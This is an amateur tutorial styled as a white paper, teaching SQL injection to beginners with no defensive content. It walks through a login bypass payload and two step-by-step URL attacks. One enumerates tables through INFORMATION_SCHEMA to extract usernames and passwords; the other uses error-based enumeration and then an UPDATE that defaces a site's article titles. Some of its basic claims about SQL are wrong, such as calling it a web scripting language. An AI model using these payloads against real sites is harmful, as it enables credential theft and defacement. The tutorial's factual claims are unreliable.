Uncommon SQL Injection

Foreword:

The Uncommon SQL Injection white paper is, as promised by the title, virtually unlike any other SQL injection walk through on the web. This written lesson aims to not only provide a comprehensive reference, and to serve as a learning aid, but also to help those who have searched the internet high and low for an SQL injection paper that is of real use. I have found that a majority, if not all, of the SQL injection guides that I have read in the past (and I have read many in my day) are teeming with typographical errors, poor displays of grammatical skills, astonishingly complex words that the author himself barely understands, or do not cover certain techniques that are necessary to use when performing an injection on a real website. Grasping this subject can be tricky enough without having to decipher what you are reading before you can understand it. Fortunately, this is not an average SQL injection paper, and I realize that you don't need another step between you and learning how to SQL inject. I hope you enjoy this uncommonly easy to read and apply paper on SQL injections.

SQL and Its Use:

-SQL is a web scripting (computer) language.

-SQL is used to make websites.

-SQL stands for Structured Query Language.

-SQL is used to insert, display and store information from a website on a server.

Tables:

-In an SQL database there are tables which store information.
-Tables can store any information on a website, ranging from usernames,

passwords, and addresses, to text displayed on a webpage, such as a link or page header.

-Tables have columns in which the records (information) are kept.

-Each table has a name and each column has a name.

-SQL injection means to modify one or more of these tables.

Figure A below shows an example table

The table's name is "Names" and its columns' names are "FIRST" and "LAST." This table is storing the names of people; there are two total records, "John Doe" and "Jane Smith"

-Figure A-

Names

FIRST	LAST
John	Doe
Jane	Smith

Vulnerabilities:

-SQL injection vulnerabilities come in two main forms.

-Both forms involve injecting SQL code into a website.

-To "inject SQL code" means to "write SQL language".

-By writing SQL language into the site, the website will do what you tell it to do, and you will be able to achieve your goals.

- (1) Injecting into a form. Such as username and password boxes on a login page.

- (2) Injecting into a URL. Like www.site.com/news.asp?ArticleID=10.

Goals:

-Your goal as an injector is to outsmart the SQL server.

-By outsmarting the SQL server you may able to display information from the site's tables on your screen.

-You may also be able to add and delete information from the tables.

-In addition, you may be able to bypass certain security measures, like logging in to a site without knowing a real username and password.

How SQL Works:

-Before you can perform an injection, you must first understand how SQL works.

-When you register a new username and password on a website, the username and password you entered is kept in the site's member table; the username and password are put in their separate columns.

-When you log in with the username and password you registered, the login page looks for a row in the member table that has the same username and password that you supplied.

-The login form takes the conditions that you supply, and searches the member table for any rows that satisfy those conditions.

-If a row exists that has both the same username and password, then you are allowed to go on your account.

-If no row is found, the login page will tell you that the account you specified does not exist, or that your username and password is wrong.

-SQL can also display information on a website.

-If a site has a news section, there may be an SQL table that, for example, holds all of the article names.

-More often than not, articles on a website are identified by a number.

-When you click on a link to an article, you are usually able to see the number of the article you clicked on by looking at the URL of the page you are on.

For the next three bullets, please refer to figure B below

-When you click a link like this, www.site.com/news.asp?ArticleID=10, the link tells the site to look in the table that stores the article names for an article who's "ArticleID" is 10.

-Once the website has found this column in the table, it may look for a column named "Title" in the same row and display this value as the article's title on your screen.

-In this case, "Cats" is what you would ultimately see on your screen as the title of the article.

-It is important to realize that what is typed after the "=" sign in the URL is part of an SQL command; please keep this in mind as you continue reading.

-Figure B-

Article_Name

Article_ID	Title
10	Cats
11	Dogs
12	Cows

Commands:

(a) What They Are and What to Look for:

-By typing certain words called commands, you are able to tell the SQL server (the website) what you want to do to a specific table, column, or record.

-In a command, you must specify what you want to do and to what you want to do it.

-If you are injecting into a URL (link) you place your command after the "=" sign in the URL.

-If you are injecting into a form, such as a login form, put your command(s) in the boxes where you would normally type your username and password.

-The website will read what you type and treat it as a command and will do whatever you tell it to do.

-The possibilities are virtually endless; some examples are reading, changing and adding usernames and passwords on a website, and changing the words on the pages of the website.

(b) Familiarization and Syntax

:

-The manner in which you write commands is called syntax.
-You must use the right syntax in order for the SQL server to understand what

you want it to do.

-Familiarize yourself with the following commands, and use them throughout this paper and during real world SQL injections.

-Do not worry about correct syntax yet. You will come to learn and eventually memorize it, as you practice and study examples later on in this paper.

-Memorization through understanding will benefit you in the long run.
-You will see a language, not just words on a screen.

-Not all commands that you will see and use will be listed below.

-You will soon see other (somewhat confusing) commands, know what they do and how to use them, but probably not understand why they work.

-For the sake of simplicity, those commands and their uses have been omitted from the following list.

COMMAND QUICK REFERENCE CHART

COMMAND		USE
ORDER BY	-	Tells the website which column to display first on the webpage that you are currently viewing.
SELECT	-	Specifies certain information in a table.
UPDATE	-	Changes existing information in a column of a table.
AND	-	Both conditions must be true in order for a a command to be carried out.
OR	-	Only one condition must be true in order for a command to be carried out.
-- (Two dashes)	-	Ends your series of commands.
+	-	Use the plus sign instead of a space.

<u>Form Injection:</u>

-The easiest SQL injection to perform is called "Authorization Bypass."

-"Authorization Bypass" refers to SQL injecting into the boxes where you enter your username and password on a website, a.k.a., a login form.

-As you may recall, in the "How SQL Works" section, login pages check to see if the information that you supplied is a <u>true statement</u> that will return any rows from the member table.

-We must trick the website into thinking that we have supplied a correct username and password by making it return at least one row.

-The username and password boxes are each surrounded by invisible single quotes.

-Whatever is surrounded by the invisible single quotes when the form is submitted is what the site looks for in the member table. *See Figure C*

-If you have an opening quotation mark in Authorization Bypass you must always put a closing quotation mark or else you will get an error.

-For example, if you submit z' (the letter z followed by a single quote) an error will occur because there is an unclosed quotation mark. *See Figure D*

-It is important to remember that there are two invisible quotation marks already surrounding each box that you type in.

-Now, let's try submitting the following z' OR 'x'='x.

-In plain English, SQL aside, z' OR 'z'='z tells the server to look for any row with 'z' as the username in the member table or any row where the letter 'x' is the same as 'x'. *See Figure E*

-This is a true statement because in every row, table, column and language, the letter x is the same as the letter x.

-According to the SQL server, this is a valid username because x is the same as x in every row.

-As strange as it may look, you have satisfied the SQL server's requirements, which are, make sure the username supplied exists in the member table.

-Supply this as both the username and password, and you will be successfully logged in to the website.

-Figure C-

Username: ' |___Bob___| '

-The username 'Bob' will be searched for in the member table.

-Figure D-

Username: ' |___z'______| '

-'z'' (an opening quotation mark, the letter z, a closing single quotation mark, and an opening quotation mark) will be searched for in the member table.

-This produces an error because the SQL server expects that for every opening quotation mark there will be a closing quotation mark.

-Figure E-

Username: ' |z'_OR_'x'='x| '

-When you include the imaginary quotation marks shown above as single quotation marks outside of the box, the username being searched for looks like 'z' OR 'x'='x'.

-All opening quotation marks can be paired with a closing quotation mark and therefore this query will not return an error.

-The username “z” may not exist but “x” is always equal to “x”.

<u>The INFORMATION_SCHEMA:</u>

-The "INFORMATION_SCHEMA" holds the names of every table and column on a site.

-On every SQL server there will be an "INFORMATION_SCHEMA" and its name will never change.

-The table in the "INFORMATION_SCHEMA" that holds the names of all the other tables is called "INFORMATION_SCHEMA.TABLES."

-The name of the column that holds the information in "INFORMATION_SCHEMA.TABLES" is called "table_name."

-The table in the "INFORMATION_SCHEMA" that holds the names of all the other columns is called "INFORMATION_SCHEMA.COLUMNS."

-The name of the column that holds the information in "INFORMATION_SCHEMA.COLUMNS" is called "column_name."

URL Injection:

-Good News: Now the real fun begins!

-You will learn how to read and modify information stored in tables by finding table and column names.

-Bad News: You'll have to make sure you understand the "Commands" section above (especially part b), reading it again can't hurt.

-In a link on a website you may find that there is an "=" sign.

-In order to perform an SQL injection on this website, you will need to type commands after the "=" sign.

-Simply start typing the commands after the equals sign and click "Go" in your web browser, as if you are going to a new website.

-The simplest way to understand what you need to do is to see an example attack broken down into steps.

-The example URL on which we will perform example attacks will be www.site.com/news.asp?ArticleID=10.

-The following examples will demonstrate two common attacks on vulnerable websites.

Attack 1

GOAL: Obtain a username and password.
Vulnerable URL: www.site.com/news.asp?ArticleID=10

STEP 1: Determine if link is vulnerable.

a. www.site.com/news.asp?ArticleID=10+AND+1=0--

-Command Translation: Display article 10 only if the number 1 is the same as the number 0.

-In this case, the "AND" command means that in order for the article to be shown, article 10 must exist AND 1 must equal 0.

-This should cause the article to not load because 1 is not the same as 0.

b. www.site.com/news.asp?ArticleID=10+AND+1=1--

-Command Translation: Display article 10 only if the number 1 is the same as the number 1.

-The article should be shown on the page now because article 10 exists AND 1 is equal to 1.

Since the article loads when you want it to, and doesn't load when you don't want it to, our commands must be working! This means the link is vulnerable and we can continue!

STEP 2: Find total number of columns displayed on the page.

a. www.site.com/news.asp?ArticleID=10+ORDER+BY+1--

-"ORDER BY 1" (where "1" is the column number) tells the page to display the first column on the page first.

-"ORDER BY 2" would display the second column on the page first.

b. Repeat step 2a, increasing the number "1" by one each time until you receive an error.

i. Stop when you get an error message, subtract one from this number and record it.

-For example, if you receive an error when you reach the number "4" (www.site.com/news.asp?ArticleID=10+ORDER+BY+4--), subtract one from "4" to get 3.

ii. You have now discovered that there are 3 total columns on the page.

STEP 3: Displaying table names.

Use the "The INFORMATION_SCHEMA" section as a reference for steps 3 and 4

a. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,2,3+FROM+INFORMATION_SCHEMA.TABLES--

-Command Reminder: "SELECT" tells the website to display the information that you specify from the table that you specify.

-Notice: You must change the original article number (10) to negative one.

-Notice: The final number from step 2b (in our case, 3) is correctly inserted into the above command by listing the number "1" to the final number, separating each with a comma.

-You should now see at least one of the numbers you have listed in the command above displayed somewhere on the webpage.

-From here on, you may only replace numbers in the URL with other words if they have been displayed on the webpage.

b. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,table_name,3+FROM+INFORMATION_SCHEMA.TABLES--

-Reminder: You may replace any number that was displayed on the webpage (preferably only one of them) with "table_name."

-Command Translation: Show me the name of a table.

-A table name, instead of one of the numbers (in our case the number "2"), should be displayed on the webpage.

STEP 4: Find target table name.

a. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,table_name,3+FROM+INFORMATION_SCHEMA.TABLES+
WHERE+table_name>'displayed_table'--

-Odds are that the first displayed table_name is not the one you are looking for; you are looking for the table that stores usernames and passwords.

-To navigate a table list to find the right table, add "+WHERE+table_name>'displayed_table' " (" 'displayed_table' " = the wrong table name that is being shown) after "TABLES."

-Command Translation: Display the name of the next table in the list after 'displayed_table.'

b. Repeat step 4a until a reasonable name for a members table is displayed.

-For our attack, let's say we have found a table named "UserAccounts"

c. Remember the table name from step 4b, write it down if necessary.

STEP 5: Displaying column names.

a. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_S
CHEMA.COLUMNS+WHERE+table_name='UserAccounts'--

-Command Translation: Show me the names of the columns in the table "UserAccounts"

-Now, instead of a table_name being displayed, you will see the name of a column in the table "UserAccounts" being displayed.

STEP 6: Find target columns.

a. www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,column_
name,3+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name='User
Accounts'+AND+column_name>'displayed_column'--

-As in step 4, you will need to find the names of useful columns.

-If you are looking for usernames and passwords, you should try to find columns named username, password, user, pass, login_name, etc...

-Command Translation: Display the name of the next column in the list after 'displayed_column.'

b. Repeat step 6a until you find the right column names.

-For our example attack, we will imagine that we have come across columns named "username" and "password".

c. Remember the column names from step 6b, write them down if necessary.

STEP 7: Displaying records (finally!).

For this step, have available the table and column names which you have written down.

Table Name: "UserAccounts"

Column Names: "username"
"password"

a. www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,username,3+
FROM+UserAccounts--

-Command Translation: Display the first record in the column "username" from the table "UserAccounts."

-Let's say the webpage displays the username "Adam"

b. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,password,3+FROM+UserAccounts+WHERE
+username='Adam'--

-Command Translation: Display the password for the username "Adam" that is stored in the table UserAccounts.

-In our hypothetical attack, the webpage has displayed "neo."

c. You have found the password for the username "Adam", which is "neo."

- **Username:** Adam - **Password:** neo

You have just completed your first SQL injection attack!

==

ATTACK 2

GOAL: Alter text displayed on a webpage.
Vulnerable URL: www.site.com/news.asp?ArticleID=10

STEP 1: Find table and column name.

a. www.site.com/news.asp?ArticleID=10+HAVING+1=1--

-This command ("HAVING+1=1") should cause an error to be shown.

-The error message will look something like this:

"Column ***'news.id'*** *is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause."*

-Notice that the error message reveals the name of a table and a column.

- "news.id" in the error message means that there is a column called "id" in the "news" table.

<u>STEP 2:</u> Find a useful column name.

a. www.site.com/news.asp?ArticleID=10+GROUP+BY+id+HAVING+1=1--

-To show the next column name in the table, you add "GROUP+BY+first_column _name_displayed" before the command "HAVING."

-In this command, the "first_column_name_displayed" is "id"

-This command produces another error message, this time the "id" part of "news.id" in the error message will change, and this is the next column name.

-Let's say that this time, the error message says "news.release"

b. www.site.com/news.asp?ArticleID=10+GROUP+BY+id,release+HAVING+1=1--

-To continue displaying column names, add a comma and the column name in the error message.

i. The comma separated list can be as long as necessary, just keep adding commas and the column name in the current error message.

-Now let's say the error message shows us the column name "title" ("news.title").

-The article titles are probably stored in the column "title" and then displayed on the webpage.

-If you can change the article titles in the column "title", you will change what is ultimately displayed on the site.

<u>STEP 3:</u> Changing the webpage.

a. www.site.com/news.asp?ArticleID=10+UPDATE+news+set+title='sql injected'--

-This will change all of the titles in the table news to "sql injected."

-Instead of the website displaying the original titles of the articles, all of the titles will say "sql injected."

-Be careful! This changes all of the titles. If you want to change one specific article title, proceed to step 3b.

b. www.site.com/news.asp?ArticleID=10+UPDATE+news+set+title='sql injected'+WHERE+id=10—

-This will change only the title of article number 10 to "sql injected"

-To change the title of a different article, simply replace the "10" in "id=10" to a different number.

-For example, you can change "id=10" to "id=8", but to see the change you must go to "www.site.com/news.asp?ArticleID=8".

End of Attack 2

==

Congratulations! You have now mastered the basics of SQL injection. I hope you have learned from this paper and are eager to learn more. Your learning certainly does not stop here. You will discover, grow curious, ask questions, and almost inevitably become frustrated. It will be easy to become exhausted and discouraged, but giving up never reveals the answers to your questions. Challenges are meant to be overcome. Take pride in overcoming them. Do not lose interest in your passion, whatever it may be. Thank you for reading the Uncommon SQL Injection white paper!

"Persistence guards every problem's solution."

~N3T D3VIL~